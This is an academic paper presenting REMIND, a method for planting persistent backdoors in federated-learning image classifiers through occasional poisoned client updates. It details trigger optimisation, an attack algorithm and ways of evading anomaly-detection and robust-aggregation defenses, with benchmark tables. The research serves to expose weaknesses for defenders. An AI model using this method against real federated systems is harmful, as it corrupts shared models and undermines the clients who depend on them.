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Abstract—Federated learning (FL) enables multiple clients to
collaboratively train a machine learning model without sharing
their local data. However, the distributed nature of FL makes
it vulnerable to backdoor attacks from malicious clients. Most
existing attack methods often assume that attackers can inject
backdoors in every training round—a scenario that is both unre-
alistic and inefficient in real-world FL deployment. In this paper,
we investigate why backdoor attacks become less effective under
low-frequency injection and propose a novel attack paradigm for
FL, called REinforced Memorization-based INterval backDoor
attack (REMIND). REMIND optimizes the backdoor trigger
via task alignment and feature alignment. Task alignment aligns
backdoor and main task objectives to resist benign update
suppression during non-attack rounds, while feature alignment
guides poisoned samples to match the activation trajectory of
target-class samples. This dual alignment enhances the back-
door’s persistence and narrows the divergence between malicious
and benign updates. With strong attack success rates established,
we further analyze the advantages of low-frequency backdoor
attacks, particularly their ability to improve robustness against
defense mechanisms. Extensive evaluations on four benchmark
datasets show that REMIND consistently outperforms eight state-
of-the-art attack baselines under nine defense strategies.

I. INTRODUCTION

In recent years, federated learning (FL) has achieved re-
markable success as a collaborative paradigm in which mul-
tiple clients, such as smartphones or IoT devices, jointly
train a shared model while keeping their data decentralized
and private [1]–[5]. FL has enabled compelling results across
diverse applications, including financial fraud detection [6],
medical research [7], and green IIoT system [8]. Despite its
significant potential, many studies [9]–[12] reveal that the
distributed nature of FL provides a novel attack surface to
backdoors. The independence of client-side training allows
adversaries to compromise a subset of clients and inject mali-
cious updates containing a backdoor trigger. The global model
is hence manipulated and forced to classify any input patched
with a trigger as a specific target label, all while retaining
standard accuracy on benign samples. Backdoor attacks pose
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significant challenges to the reliability and security of FL
applications [13], [14].

To date, much of the literature has explored backdoor
attacks in FL under the implicit—and often unrealistic—
assumption that the attackers can inject malicious updates in
every training round. Prior works under this idealized condi-
tion primarily seek to improve the attack effectiveness [9],
[15], [16] and stealthiness [10], [17], [18] through sophis-
ticated techniques. However, a critical yet often overlooked
issue is the frequency of attack injection, i.e., how often at-
tackers can actually compromise training. Intuitively, reducing
injection frequency may weaken attack effectiveness, but it
also substantially reduces the attacker’s risk of being detected
by existing defense mechanisms. This dynamic introduces
a compelling and underexplored trade-off between attack
strength and stealth. Moreover, low-frequency injection scenar-
ios are more representative of practical FL deployments, where
malicious clients often face real-world limitations such as
intermittent connectivity, limited availability, or participation
restrictions [19], [20]. These constraints mean that adversaries
cannot consistently submit poisoned updates in every round. It
is hence imperative to examine backdoor attacks under more
realistic and constrained injection frequencies.

When adapting existing backdoor attack techniques to
these low-frequency injection settings, we observe significant
performance degradation, evidenced by slower convergence,
reduced attack success rates (ASR), and overall weakening
attack effects (see Section III-D for empirical results). This
performance drop primarily stems from the fact that backdoors
injected during attack rounds are easily overwritten or diluted
by the accumulation of benign client updates in subsequent
non-attack rounds. As a consequence, maintaining persistent
backdoor effects over time becomes increasingly difficult.
These findings underscore the urgent need for new techniques
capable of preserving both effectiveness and stealth for back-
door attacks in FL, even under limited injection opportunities.

In this paper, we present REMIND, a REinforced
Memorization-based INterval backDoor attack framework tai-
lored to the realities of low-frequency injection in practi-
cal FL deployments. Unlike prior methods that suffer from
backdoor signal dilution, REMIND employs a dual alignment
mechanism, which aligns poisoned and target-class samples



across the model’s decision boundary and feature space. This
tactic not only aligns the objective of the backdoor task with
the main task to prevent the backdoor from being diluted
by benign updates, but also narrows the divergence between
malicious and benign updates to further enhance the stealth-
iness of the backdoor attack. Beyond achieving strong attack
effectiveness, REMIND further examines the advantages of
low-frequency backdoor attacks, revealing their potential to
improve attack efficiency through fewer attack rounds and en-
hance robustness against existing defense mechanisms. Specif-
ically, our approach reduces the detectability of anomaly-
detection-based countermeasures while simultaneously leading
to substantial wasted computational overhead for defenders
during non-attack rounds.

We conduct extensive experiments on widely-used bench-
mark datasets, including CIFAR-10 [21], CIFAR-100 [21],
CINIC-10 [22] and Tiny-ImageNet [23], to evaluate the effec-
tiveness of REMIND. We further compare it with eight state-
of-the-art attack baselines under nine defense methods. The
results suggest that REMIND outperforms all attack baselines,
achieving a significant improvement in the speed of backdoor
injection across all defenses. In addition, we examine the con-
tributions of REMIND’s components, validating the improved
robustness of low-frequency injection against various defenses.

We summarize our main contributions as follows:
• We present the first systematic study of low-frequency

backdoor attacks in FL, identifying a critical challenge
posed by rapid backdoor overwriting by benign updates
during non-attack rounds. Building on this insight, we
propose REMIND, a novel reinforced memorization-based
low-frequency attack framework that optimizes the backdoor
trigger using task and feature alignment to enhance its
effectiveness and persistence over time.

• Beyond demonstrating the effectiveness of REMIND under
limited injection frequencies, we further reveal that low-
frequency attacks can significantly undermine the reliability
and efficacy of various defense mechanisms by lowering
their detection rates and incurring unnecessary computa-
tional overhead.

• Extensive experiments on real-world datasets validate that
REMIND remarkably improves the effectiveness and persis-
tence of low-frequency injected backdoors compared to the
state-of-the-art attack baselines. These findings expose new
vulnerabilities in FL security and offer valuable perspectives
for future research on developing resilient defenses.

II. RELATED WORK

A. FL Backdoor Attacks

FL is susceptible to backdoor attacks due to its decentral-
ized nature and lack of control over clients’ local training
processes [9], [10], [16], [18], [24], [25]. In these attacks,
the attacker compromises a subset of participating clients and
manipulates their local datasets to upload malicious updates,
thereby injecting the backdoor into the global model. The
proportion of compromised clients among all participants and
the fraction of poisoned samples within a local dataset are

referred to as the poisoned model rate (PMR) and poisoned
data rate (PDR), respectively.

Existing FL backdoor attacks follow this basic backdoor
injection paradigm and introduce various optimizations to en-
hance attack effectiveness or stealthiness. Model replacement
(MR) [9] amplifies malicious local updates to dominate the
aggregation process so as to maximize its impact on the
global model. In contrast, LIE [17] prioritizes stealthiness
by crafting malicious updates that closely resemble benign
ones, achieving a balance between attack effectiveness and
evasion of detection. Several works focus on improving trigger
stealthiness through input manipulations. DBA [18] divides a
complete trigger into multiple small patterns and distributes
them across different clients, while FCBA [16] further ex-
plores combinatorial variations of these patterns to increase
diversity and backdoor generalization. Alternative methods
adopt parameter-level manipulations for attack stealthiness.
3DFed [10] perturbs malicious updates with noise, uploads
decoy updates to confuse defenses, and embeds feedback-
based indicators into parameters to adapt to the attack strat-
egy. Neurotoxin [15] selectively modifies less critical model
parameters for the main task, preserving benign performance
while increasing backdoor persistence. Similarly, F3BA [24]
flips task-irrelevant weights to maximize layer-wise activation
shifts, achieving both stealth and strong attack performance.

However, these methods primarily focus on optimizing the
trigger design or manipulating the spatial patterns of local
updates, without accounting for the temporal dimension of the
attack. Accordingly, their effectiveness deteriorates when the
attack cannot be launched in every round.

B. FL Backdoor Defenses

In this work, we consider three types of backdoor defenses
in FL, categorized according to the stage at which the defense
is applied [26]–[28]. The first type is pre-aggregation anomaly
detection, which aims to identify and exclude malicious up-
dates prior to aggregation. The second type is byzantine-robust
aggregation that incorporates robust aggregation strategies to
mitigate the impact of abnormal updates during aggregation.
The third type is post-aggregation model refinement, seeking
to remove backdoor effects from the global model after
aggregation. We next introduce the underlying idea of each
defense category along with representative methods.
Pre-aggregation anomaly detection. This type of defense
mechanisms often assume that malicious and benign up-
dates are distinguishable. Typically, they begin by computing
certain metrics across clients, and then apply clustering al-
gorithms or top-K selection strategies to detect anomalous
ones. FLAME [29] computes the pairwise cosine similari-
ties among local updates and employs HDBSCAN clustering
algorithm [30] to identify outliers. Building upon this idea,
FreqFed [31] transforms local updates into the frequency
domain, as backdoor updates often exhibit distinct frequency
patterns. Moreover, FLDetector [32] predicts the local update
following the Cauchy median theorem [33] and deems those
that deviate significantly from the prediction as malicious.



Byzantine-robust aggregation. This category of defense
methods typically filters or weights the uploaded updates
during aggregation to suppress the influence of a small number
of abnormal updates. Krum [34] measures the Euclidean
distance between each local update and its closest neighbors,
and then chooses the one with the smallest total distance for
aggregation. Based on this, Bulyan [35] combines multiple
Krum-selected updates and further refines them using robust
statistics to enhance its defense against adversarial outliers.
To mitigate outliers at a finer granularity, Trimmed Mean [36]
discards a fixed number of the largest and smallest values in
each dimension before averaging, while Median [36] simply
selects the median value across clients for each parameter.
Post-aggregation model refinement. These defense methods
focus on adjusting the globally aggregated model to erase
the backdoor without compromising main-task accuracy. One
representative approach is differential privacy (DP) [37], which
injects Gaussian noise into the global model to suppress
potential backdoor behaviors. Alternative methods leverages
knowledge distillation techniques. In FedDF [38], the aggre-
gated model acts as a student that learns from the output
logits of local models on clean data to overwrite malicious
patterns. FedRAD [39] extends this idea by modifying the
model aggregation strategy. It assigns weights to local updates
based on the frequency with which a client’s output becomes
the median, thereby reducing the influence of abnormal clients.
In a different direction, FedPruning [40] directly removes
backdoor neurons by pruning those with low activation on
benign samples, aiming to minimize backdoor capacity while
preserving accuracy on the main task.

III. PRELIMINARIES AND MOTIVATION

A. System Model

Consider a standard FL system with a central server coor-
dinating N clients to collaboratively train a machine learning
model without sharing their raw data. Each client i holds a
local dataset Di. In every training round t, the server randomly
selects a subset of clients Ct and distributes the current global
model Gt to them. Each selected client i initializes its local
model with Gt, performs E epochs of local training on Di,
and then uploads the resulting model update ∆t

i to the server.
After collecting these local updates, the server aggregates them
to produce a new global model Gt+1 = Gt + 1

|Ct|
∑

i∈Ct ∆t
i.

If any client’s local update ∆t
i is malicious, the backdoor can

be injected into the global model Gt+1.

B. Threat Model

Attacker’s Capability. Following threat models in prior stud-
ies [12], [25], [41], we assume that the attacker can compro-
mise a subset of participating clients, having full control over
their local training processes. For clarity, we refer to the set of
controlled clients as Cmal. However, the attacker can neither
control the server nor interfere with the aggregation process.
Moreover, the attacker is unaware of the defense mechanisms
implemented by the server.
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Fig. 1: The ASR (%) of Badnet on CIFAR-10 with varying PMRs
and attack intervals.
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Fig. 2: The ASR (%) of F3BA on CINIC-10 with varying PMRs and
larger attack intervals.

Attacker’s Goal. We consider an attacker who aims to inject a
backdoor into the global model while achieving the following
two critical goals. 1) Effectiveness: The attacker must ensure
that the compromised global model consistently classifies
triggered samples as the attacker-specified label, even after
any defensive processing. 2) Stealthiness: The backdoor injec-
tion process should be stealthy enough to keep classification
accuracy on clean samples while simultaneously preventing
the server from detecting malicious updates submitted by
controlled clients. This twofold objectives render the back-
door attack to be both functionally potent and operationally
concealed within FL frameworks.

C. Motivation

We now elaborate on the motivations to explore FL back-
door attacks under limited injection frequency.
Motivation 1: Low-frequency backdoor attacks are more
accordant with realistic FL scenarios. In practice, FL
clients often face challenges such as intermittent connectivity,
dynamic availability or limited participation, preventing them
from consistently uploading local updates [19], [42]. These
practical constraints naturally apply to malicious clients, re-
stricting their ability to inject poisoned updates in every round.
Therefore, low-frequency backdoor attacks represent a more
realistic threat model and warrant dedicated investigation.
Motivation 2: Low-frequency injection is more efficient for
backdoor attacks. Existing FL backdoor attacks [10], [15],
[17], [18], [25] typically inject malicious updates in every
training round. However, the backdoor task is generally much
simpler than the main task, which allows the adversary to grad-
ually implant the backdoor into the global model over time,
even with low attack frequencies. To illustrate, we implement
Badnet attack [43] on CIFAR-10 dataset [21] and report the
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Fig. 3: An overview of REMIND architecture.

ASR while varying PMRs and attack intervals denoted by T
(i.e., malicious updates are injected every T rounds). From
Fig. 1, when the attacker launches an attack every other round
(i.e., T = 2), Badnet achieves an ASR comparable to that of
attacking every round (i.e., T = 1), substantially cutting the
overall attack cost. This finding suggests that frequent attack
injection may not be necessary; rather, low-frequency attacks
provide a more efficient attack paradigm in FL.

D. Challenge

Although low-frequency attacks offer a more realistic and
efficient attack solution, their performance may degrade sig-
nificantly when applied with larger attack intervals or on more
complex datasets. This is primarily attributed to the reduced
opportunities for injecting malicious updates and the increased
difficulty of executing the backdoor task under more chal-
lenging datasets. To underscore this point, we refer to Fig. 2
using F3BA attack [24] on CINIC-10 dataset [22]. Compared
to the case where T = 1, F3BA under a low-frequency setting
(T = 5) either fails to achieve a comparable ASR or exhibits
much slower convergence. These results indicate that existing
attack methods struggle to maintain stable performance under
low-frequency injection scenarios, limiting the practical ben-
efits of low-frequency attacks. Therefore, there is an urgent
need to develop a novel attack capable of maintaining robust
effectiveness despite low attack frequencies.

IV. METHODOLOGY

To address these challenges, we propose REMIND, a per-
sistent low-frequency backdoor attack framework. We begin
with a system overview, and elaborate on how it reinforces
backdoor memorization with adverse effects on defenses.

A. Overview

Fig. 3 depicts the main architecture of REMIND, which
proceeds in rounds of model synchronization. It operates under
two cases depending on whether an attack is launched in
the current round. In each non-attack round, the attacker
takes no action, while each controlled client selected by the

server, performs normal training and uploads its benign model
updates for aggregation (➀). In each attack round, the attack
process consists of two phases. 1) Trigger optimization phase:
the attacker first predicts the next-round global model using
the combined datasets of all controlled clients (❶), and then
optimizes the trigger by sequentially aligning the poisoned
and target-class samples both in the feature space and at the
decision boundary of the predicted model. (❷). 2) Poisoned
local training phase: each selected controlled client poisons its
local data using the optimized trigger, performs local training
on this poisoned data (❸), and finally uploads its malicious
updates to the server.

B. REMIND Design

In FL, backdoor attacks typically inject triggers into local
training data and upload the poisoned updates to compromise
the global model [9], [10], [15]–[18], [24]. However, under
low-frequency injection scenarios, existing methods become
less effective as the implanted backdoor is gradually diluted or
erased by benign updates. To address this challenge, REMIND
employs a reinforced memorization loss that adaptively opti-
mizes the trigger on a predicted global model. This enables
the backdoor to persist across rounds and allows the global
model to effectively “remind” itself of the backdoor behavior,
even when the attack is not continuously applied.
Local training process. In each round t, the server randomly
selects a subset of clients Ct as participants and broadcasts
them the global model Gt for E epochs of local training.

If no attack is launched in the current round, the local
training on each selected controlled client i ∈ Cmal ∩ Ct

proceeds as normal, following the standard objective:

w∗,t
i = argmin

wt
i

E(x,y)∼Di
[L(x, y;wt

i)], (1)

where wt
i denotes its local model initialized by global model

Gt. The local dataset Di = {(x, y)} consists of data samples x
and their corresponding labels y. L(·) represents the standard
prediction loss function (e.g., cross-entropy), which measures
the discrepancy between the model’s output and the label.

If an attack is launched in this round, the attack process can
be formulated as follows:

w∗,t
i = argmin

wt
i

E(x,y)∼Di,mal
[L(x⊕ δ∗,t, ỹ;wt

i)]+

E(x,y)∼Di,nor
[L(x, y;wt

i)]

s.t. δ∗,t = argmin
δ

E(x,y)∼Datt
RLδ(x, y;G

t),

(2)

where RLδ(·) is the loss function adopted by the attacker
to optimize the trigger δ. To achieve a strong attack effect,
the attacker collects the local data of all controlled clients
for trigger optimization, i.e., Datt = ∪i∈Cmal

Di. For each
selected controlled client i ∈ Cmal ∩ Ct, the poisoned local
training jointly optimizes two terms in Eq. (2). The first term
corresponds to the backdoor loss on malicious samples Di,mal,
while the second term ensures that the model retains utility on
benign samples Di,nor. Furthermore, the malicious and benign
samples satisfy Di,mal∪Di,nor = Di and Di,mal∩Di,nor = ∅.



Reinforced memorization loss. During non-attack rounds,
backdoors in the global model tend to be weakened due to
the dilution of benign updates. To address this, REMIND
adaptively optimizes the trigger before launching attack, by
mapping poisoned samples closer to the target label ỹ in
current global model’s decision boundary. This achieves task
alignment, where we align the objective of backdoor task
with that of main task. This way, even in non-attack rounds,
backdoors are not be suppressed by benign updates, thereby
maintaining the presence in the global model. Specifically,
RLδ(·) is defined as:

RLδ(x, y;G
t) = L(x⊕ δ, ỹ;Gt). (3)

To further enhance the stealthiness, REMIND performs layer-
wise feature alignment sequentially during trigger optimiza-
tion. Accordingly, RLδ(·) is extended to:

RLδ(x, y;G
t) = L(x⊕ δ, ỹ;Gt)

+
L∑

l=1

λl∥ϕl(x⊕ δ;Gt)− ϕl(xỹ;G
t)∥2.

(4)

Here, ϕl(x⊕ δ;Gt) denotes the poisoned input’s intermediate
feature at the l-th layer, and it is aligned with the average
feature of the corresponding layer from target-class samples,
i.e., ϕl(xỹ;G

t) = 1
|Dỹ|

∑
(x,y)∈Dỹ

ϕl(x;G
t), where Dỹ =

{(x, y) ∈ Datt|y = ỹ}. The hyperparameter λl balances the
effect of the two alignments. By aligning layer-wise features,
poisoned samples are guided to match the activation trajectory
of target-class samples, which in turn narrows the discrepancy
between the malicious and benign updates.
Global model prediction module. Building on such rein-
forced memorization strategy, REMIND further develops a
global model prediction module to maintain the association
between poisoned samples and the target label during non-
attack rounds. The core idea is that under low-frequency injec-
tion scenarios, the effectiveness of the attack heavily depends
on how well the trigger generalizes to future global models
aggregated from benign updates. Hence, REMIND estimates
the next-round global model in advance and optimizes the
trigger on this predicted model. To be more precise, the
attacker predicts the global model as follows:

Ĝt+1 = argmin
Gt

E(x,y)∼Datt
L(x, y;Gt). (5)

The algorithm of REMIND. The details of REMIND are
illustrated in Algorithm 1. In each training round, the server
selects the participating clients and sends them the global
model (line 2). If this is an attack round, the attacker first
predicts the next-round global model, then optimizes the
trigger and distributes it to the controlled clients selected for
this round (line 4-6). Subsequently, each selected controlled
client injects the optimized trigger into its local dataset and
conducts poisoned local training (lines 10-11). After that, the
malicious model update is generated and uploaded to the
server (lines 14-15). If this is a non-attack round, the controlled
clients perform normal local training as other benign selected

Algorithm 1: The workflow of REMIND
Input: Controlled clients Cmal, client i’s dataset Di, training

rounds T , attack rounds Tatt, global model G.
Output: Backdoored global model G|T |.

1 for each t ∈ T do
// Server

2 Select participating clients Ct and send the current global model
Gt to them;

3 if t ∈ Tatt then
// Attacker

4 Predict the next round global model Ĝt+1 by Eq. (5);
5 Optimize the trigger δ∗,t by Eq. (2) and Eq. (4);
6 Distribute δ∗,t to the selected controlled clients

i ∈ Cmal ∩ Ct;
// Selected clients

7 for each client i ∈ Ct do
8 wt

i ← Gt;
9 if i ∈ Cmal then

// controlled clients
10 Poison Di with the received trigger δ∗,t;
11 Update local model w∗,t

i by Eq. (2);

12 else
13 Update local model w∗,t

i by Eq. (1);

14 ∆t
i ← w∗,t

i − wt
i ;

15 Upload the update ∆t
i to the server;

16 else
// Selected clients

17 for each client i ∈ Ct do
18 wt

i ← Gt;
19 Update local model w∗,t

i by Eq. (1);
20 ∆t

i ← w∗,t
i − wt

i ;
21 Upload the benign update ∆t

i to the server;

// Server
22 Receive local updates ∆t

i from every client i ∈ Ct;
23 Gt+1 ← Gt + 1

|Ct|
∑

i∈Ct ∆t
i ;

clients and send the benign updates to the server (lines 18-21).
Finally, the server aggregates these received local updates to
build the new global model (lines 22-23).

C. Adverse Effects of Low-frequency Attack on Defense

As discussed in Section II-B, backdoor defense mechanisms
in FL can be deployed before, during, or after the aggregation
process in each training round. However, when backdoor
attacks are launched intermittently rather than in every round,
applying these defenses indiscriminately across all rounds
may suffer from unintended adverse effects. Once REMIND
maintains high attack effectiveness, we next conduct a detailed
analysis of how different categories of defense mechanisms
interact under such low-frequency injection scenarios.

1) Pre-Aggregation Anomaly Detection: This category of
defenses focuses on detecting malicious updates before each
round of aggregation [29]–[32], with detection effectiveness
quantified by detection probability and false alarm rate.
Reduced detection probability. Low-frequency injection re-
duces the number of attack rounds, thereby decreasing the
risk of detection. Formally, we assume that the probability of
successfully detecting malicious updates in a round is p and
the attacker launches an attack every T rounds. Over a total



of M rounds, the expected number of attack rounds is
⌊
M
T

⌋
.

Given the independence across rounds, the overall probability
of successful detection is Pdetect = 1 − (1 − p)⌊

M
T ⌋. This

suggests that Pdetect decreases monotonically as T increases.
In other words, by reducing the attack frequency, REMIND
diminishes the likelihood of malicious clients being detected
by defense mechanisms.
Increased false alarm rate. To eliminate malicious updates as
thoroughly as possible, detection mechanisms often exclude all
updates that deviate from the center of the majority updates µ
beyond a threshold τ . A false alarm occurs when the benign
update ∆b satisfies ∥∆b −µ∥ > τ . In attack rounds, the pres-
ence of a few significantly different malicious updates allows
µ to be located among benign updates. However, during non-
attack rounds, the differences among benign updates increase
due to variations in local data distributions. As a result, the
distance between a benign update ∆b and the center µ may
exceed the threshold τ , leading to a higher false alarm rate.
This exacerbates the fairness concerns in FL [44]–[46], as
benign clients with highly skewed data distributions or limited
local data are more likely to be misclassified as malicious, and
thus unfairly excluded from training participation.

2) Byzantine-Robust Aggregation: This type of defense
methods tends to prioritize updates that conform to the ma-
jority, and disregard valid yet divergent contributions during
aggregation [34]–[36]. This conservative strategy can impair
the performance of the global model on the main task.
Decreased main task accuracy. Since backdoor attacks aim
to preserve the model performance on the main task, such
defenses respond indiscriminately across both attack and non-
attack rounds. While eliminating backdoor information, they
inadvertently exclude outlier benign updates, leading to a
large drop in main task accuracy. In this sense, low-frequency
attacks allow attackers to induce the same level of disruption
with significantly lower attack costs.

3) Post-Aggregation Model Refinement: These defenses
employ computationally intensive techniques, like knowledge
distillation [38] and neuron pruning [40], to refine the poten-
tially poisoned global model after each round of aggregation.
Wasted resources. Due to the inability to distinguish between
attack and non-attack rounds, this type of defenses only
indiscriminately applies model refinement in every round. As
a result, substantial resources are unnecessarily consumed
by the defender during non-attack rounds, leading to huge
computation overhead.

V. EXPERIMENTS

A. Experimental Setup

Implementation details. We conduct experiments using Py-
torch 2.2.1 and CUDA 12.2 on a GPU server equipped with
Intel Xeon Gold 6133 CPU, 256GB RAM and six NVIDIA
GeForce RTX 4090 GPUs, each with 24GB of VRAM.
Datasets and models. We evaluate REMIND on four real-
world dataset with varying levels of complexity, including
CIFAR-10 [21], CIFAR-100 [21], CINIC-10 [22], and Tiny-
Imagenet [23]. Table I presents the statistics of these datasets.

TABLE I: Statistics of the datasets.

Datasets #Train #Test #Features #Classes
CIFAR-10 50K 10K 1024 10

CIFAR-100 50K 10K 1024 100
CINIC-10 90K 90K 1024 10

Tiny-Imagenet 100K 10K 4096 200

We conduct training using ResNet-18 [47] with approximately
2.7 million parameters.
Attack baselines. To validate REMIND, we introduce eight
state-of-the-art FL backdoor attack methods for comparison:
• Badnet [43] performs the standard local training with Trojan

data containing backdoors, and poisons the global model.
• MR [9] amplifies the malicious local updates to dominate

the aggregation process.
• LIE [17] restricts the malicious local updates during training

to ensure they remain within the distribution of benign ones.
• Neurotoxin [15] selectively perturbs the main task-irrelevant

parameters in the local update.
• DBA [18] splits the original trigger into fragments, which

are then assigned to each controlled client.
• FCBA [16] also adopts trigger splitting method, but each

controlled client uses a combination of these fragments.
• 3DFed [10] integrates indicators into the local update and

uses the feedback to guide the attack in the next round.
• F3BA [24] flips main task-irrelevant model parameters dur-

ing trigger embedding to maximize activation differences.
Defense methods. We examine the robustness of the attack
methods under nine FL backdoor defenses across three cat-
egories: 1) pre-aggregation anomaly detection: FLAME [29]
and FreqFed [31]; 2) byzantine-robust aggregation: Trimmed
mean [36], Median [36], and Bulyan [35]; 3) post-aggregation
model refinement: DP [37], FedPruning [40], FedDF [38], and
FedRAD [39].
FL settings. By default, we set the number of clients N =
100, where only 20 clients are selected out of them randomly
in every round. Each selected client conducts E = 3 epochs
of local training using a SGD optimizer with a learning rate of
0.01 and a momentum of 0.9. Following previous studies [24],
[48], we consider the non-IID data setting across clients, where
local datasets are constructed using Dirichlet distribution [49]
with a concentration parameter of 0.5 for CIFAR-10, CINIC-
10 and Tiny-ImageNet, and 0.3 for CIFAR-100.
Attack settings. We randomly select a PMR proportion of
all clients as malicious clients controlled by the attacker,
where each malicious client’s local training data contains a
PDR fraction of poisoned samples. By default, PMR and
PDR are set to 0.2 and 0.1, respectively. We design the
trigger as a square located at the upper left corner of the
image, and maintain the same trigger size across all attacks
to ensure fair comparison. In low-frequency attack scenarios,
the compromised clients upload malicious updates every T
rounds, while submitting benign updates in other rounds.
Unless otherwise specified, we set T = 5.
Evaluation metrics. According to previous works [10], [29],
we employ two key metrics to assess the effectiveness of



TABLE II: The BA/MA (%) of REMIND and the baselines under different defense methods on CIFAR-10.

Defense
Attack Badnet MR LIE Neurotoxin DBA FCBA 3DFed F3BA REMIND

FedAvg 92.19/88.01 97.18/87.99 86.55/87.92 89.29/87.79 6.38/87.88 47.8/87.65 99.24/88.97 94.61/86.64 99.63/88.81
FLAME 96.11/87.18 97.97/85.73 94.85/86.49 94.34/84.11 5.21/85.43 69.36/85.77 2.23/84.23 15.69/83.56 99.98/85.66
FreqFed 93.36/87.11 94.73/86.33 94.6/86.36 92.39/85.08 3.48/85.58 67.2/86.74 4.04/85.38 9.18/84.1 100/86.87

Trimmed Mean 93.87/88.54 93.73/88.55 90.08/88.1 86.51/87.85 2.15/88.4 37.33/88.28 99.15/88.91 95.45/87.5 99.99/88.64
Median 79.24/85.22 83.64/84.76 70.23/86.15 63.09/85.61 3.17/85.63 12.44/85.6 95.03/87.34 64.3/84.51 98.99/85.11
Bulyan 65.03/82.17 59.35/80.74 51.28/81.13 36.78/81.87 2.49/81.51 16.11/82.23 82.35/84.97 5.05/80.68 95.29/82.02

DP 91.57/86.71 94.79/86.78 82.79/86.7 84.44/86.05 3.42/86.17 42.02/86.07 99.02/88.43 86.79/84.94 99.41/86.38
FedDF 87.74/84.27 92.76/84.74 78.75/85.59 87.66/85.67 2.54/86.13 36.02/84.04 98.61/85.28 85.1/84.96 99.12/86.02

FedRAD 78.94/83.25 67.09/82.71 77.97/83.09 73.09/82.46 2.43/83.27 23.27/82.85 94.39/84.77 66.81/80.95 99.77/83.33
FedPruning 86.13/85.33 93.65/84.23 81.31/84.98 79.01/85.75 2.54/85.12 34.25/85.88 97.97/84.78 92.64/84.67 99.46/85.16

TABLE III: The BA/MA (%) of REMIND and the baselines under different defense methods on CIFAR-100.

Defense
Attack Badnet MR LIE Neurotoxin DBA FCBA 3DFed F3BA REMIND

FedAvg 89.71/62.45 98.55/62.83 89.33/63.28 91.55/63.28 19.34/63.63 65.83/63.15 99.95/64.76 95.1/60.54 99.98/63.47
FLAME 92.92/56.87 94.67/57.91 94.54/57.42 94.04/57.35 19.42/57.64 64.5/57.9 0.66/53.2 1.72/54.11 100/57.5
FreqFed 95.8/57.57 90.6/58.61 93.58/56.33 93.38/55.25 13.76/57.54 52.4/56.71 0.68/54.77 1.43/54.25 98.65/57.93

Trimmed Mean 91.6/62.38 90.62/62.51 85.19/62.85 87.31/61.27 19.78/63.08 62.11/62.08 99.95/64.91 96.93/60.43 99.99/63.39
Median 73.58/57.18 74.52/57.44 77.17/57.19 55.78/57.12 3.44/58.36 23.91/57.26 92.77/61.4 46.39/53.92 98.73/57.22
Bulyan 60.94/50.47 36.78/50.05 62.11/48.26 39.57/48.57 6.04/49.94 21.62/50.72 31.24/53.78 0.94/45.72 98.47/49.55

DP 92.25/61.25 96.14/61.77 84.41/62.65 88.67/61.67 26.82/60.55 56.82/61.41 99.83/64.31 94.75/59.27 99.94/61.8
FedDF 89.23/60.37 93.5/58.25 86.19/60.67 89.12/61.3 20.33/60.81 56.71/60.76 99.92/64.42 94.98/57.91 99.94/61.67

FedRAD 87.29/61.44 80.43/60.23 78.56/60.87 84.89/59.81 24.01/60.55 48.49/59.97 99.8/61.43 89.71/57.6 99.94/61.79
FedPruning 90.33/62.25 97.76/62.57 83.55/62.28 88.31/61.14 16.23/62.19 53.83/61.32 99.76/64.67 97.11/60.59 99.95/62.26

TABLE IV: The BA/MA (%) of REMIND and the baselines under different defense methods on CINIC-10.

Defense
Attack Badnet MR LIE Neurotoxin DBA FCBA 3DFed F3BA REMIND

FedAvg 96.39/73.76 96.24/72.42 92.95/75.05 93.65/75.27 4.33/75.14 82.77/74.9 99.64/77.66 89.22/73.89 99.87/75.21
FLAME 92.87/71.77 94.91/72.39 75.38/71.09 91.37/72.94 3.03/73.37 53.64/73.48 39.61/75.12 5.54/71.23 99.98/75.46
FreqFed 89.7/73.24 93.85/73.39 92.17/73.67 18.44/73.41 3.81/73.25 64.1/73.27 40.55/72.96 3.28/73.21 99.89/74.68

Trimmed Mean 94.25/74.09 94.38/73.55 94.99/73.43 95.37/74.72 3.39/75.82 24.3/74.08 99.73/77.14 97.53/74.52 99.97/74.89
Median 78.44/71.26 83.92/71.39 80.82/70.58 63.81/70.08 3.88/70.94 6.34/71.49 95.85/76.06 67.87/71.21 98.75/71.47
Bulyan 41.93/67.41 24.37/66.86 24.16/65.29 3.35/64.54 5.16/67.35 6.79/66.53 82.72/70.53 3.10/62.87 94.39/67.33

DP 94.04/72.47 95.71/72.72 89.33/74.75 95.38/74.71 3.96/72.85 36.83/73.14 99.09/76.32 92.65/71.99 99.96/74.14
FedDF 94.89/74.5 98.9/74.27 90.92/73.15 95.99/75.37 4.83/74.67 80.83/75.12 99.53∗/77.56 79.34/72.93 99.47/75.22

FedRAD 91.51/73.49 92.81/71.24 87.24/72.77 90.61/72.22 8.03/71.07 49.1/71.07 98.01∗/76.57 78.17/71.9 97.85/73.08
FedPruning 85.29/73.8 98.07/71.41 56.47/73.22 92.17/72.42 3.64/71.88 7.2/72.13 99.62∗/75.32 92.23/72.95 99.18/73.43

TABLE V: The BA/MA (%) of REMIND and the baselines under different defense methods on Tiny-Imagenet.

Defense
Attack Badnet MR LIE Neurotoxin DBA FCBA 3DFed F3BA REMIND

FedAvg 90.17/41.39 95.71/41.21 84.96/41.08 83.66/41.77 11.97/40.91 69.25/40.97 99.82/42.24 82.06/38.35 99.9/41.97
FLAME 90.19/35.57 0.51/37.02 90.76/35.89 92.31/36.52 7.42/36.45 45.75/36.71 0.17/34.12 0.68/33.41 98.45/36.5
FreqFed 78.12/36.22 0.46/36.47 69.85/36.66 84.61/36.32 0.52/36.52 18.66/35.92 0.23/34.51 0.39/33.26 99.06/36.43

Trimmed Mean 79.45/40.76 91.63/41.23 86.16/41.32 81.37/40.47 7.69/40.53 65.16/40.13 99.69∗/42.24 94.11/38.07 99.06/40.61
Median 37.79/37.24 46.53/37.35 42.53/37.78 60.92/37.23 0.55/37.58 11.24/37.45 84.24/41.37 10.67/34.13 90.61/37.53
Bulyan 49.9/32.41 0.68/32.35 62.73/32.12 4.94/32.85 0.25/31.25 0.35/31.81 1.72/36.61 0.43/30.25 73.12/32.3

DP 90.93/41.03 96.38/41.26 81.06/41.21 86.59/41.03 10.77/40.91 74.24/41.09 99.71∗/42.28 85.52/38.42 99.05/41.72
FedDF 89.41/41.55 93.51/40.78 81.91/41.17 83.7/41.09 8.41/40.98 72.09/40.15 99.54∗/43.16 91.48/39.01 99.03/40.32

FedRAD 89.25/39.89 89.32/40.97 85.13/39.65 83.54/40.15 1.08/39.27 67.44/39.5 99.23∗/40.9 87.27/38.38 99.16/40.69
